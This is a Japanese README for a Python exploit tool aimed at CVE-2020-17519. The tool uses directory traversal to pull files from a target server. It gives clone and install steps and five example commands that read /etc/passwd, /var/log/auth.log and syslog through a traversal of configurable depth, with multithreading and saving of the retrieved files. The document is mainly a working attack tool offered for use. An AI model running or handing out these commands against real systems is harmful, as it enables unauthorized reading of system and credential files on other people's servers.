CVE-2020-17519

ログトラバーサルツール

ディレクトリトラバーサル技術を使用して、ターゲットURLからログファイルを要求するPythonツールです。リアルタイムの進行状況を表示し、プロキシ設定をサポートし、必要に応じて有効な応答を保存します。

特徴

• 設定可能な深さのディレクトリトラバーサル
  ディレクトリトラバーサルに設定可能な深さを使用します。
• 単一ファイルまたは複数ファイルパス
  単一のファイルパス、またはファイルからの複数パスの要求をサポートします。
• マルチスレッドサポート
  複数のスレッドを使用して要求を並行して実行します。
• プロキシサポート
  要求に使用するプロキシの設定を可能にします。
• 有効な応答の保存
  有効な応答を個別のファイルに保存します。
• リアルタイムの進行状況表示
  pwntoolsを使用して進行状況をリアルタイムで表示します。

必要条件

• Python 3.6以上
• Pythonパッケージ: requests および pwntools (pwn)
• 標準ライブラリ: argparse, os, concurrent.futures, threading

インストール

1. リポジトリをクローンする
   root@kitploit:~

   git clone https://github.com/GazettEl/CVE-2020-17519.git
   pip install requests pwntools
   

使用方法

このツールは、さまざまなオプションを指定してコマンドラインから実行できます。以下にいくつかの例を示します。

例1: 単一のファイルパスを要求する

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-path /var/log/syslog --threads 1 --save

例2: リストから複数のファイルパスを要求する

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-list file_paths.txt --threads 4 --proxy none

例3: プロキシを無効にして実行する

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 10 --file-path /var/log/auth.log --threads 2 --proxy none

例4: ファイルリストを使用し、有効な応答を保存する

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 15 --file-list paths.txt --threads 4 --save

例5: 深さを増やして単一のファイルを要求する

python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 20 --file-path /etc/passwd --threads 1

詳細については、ソースコードとインラインコメントを参照してください。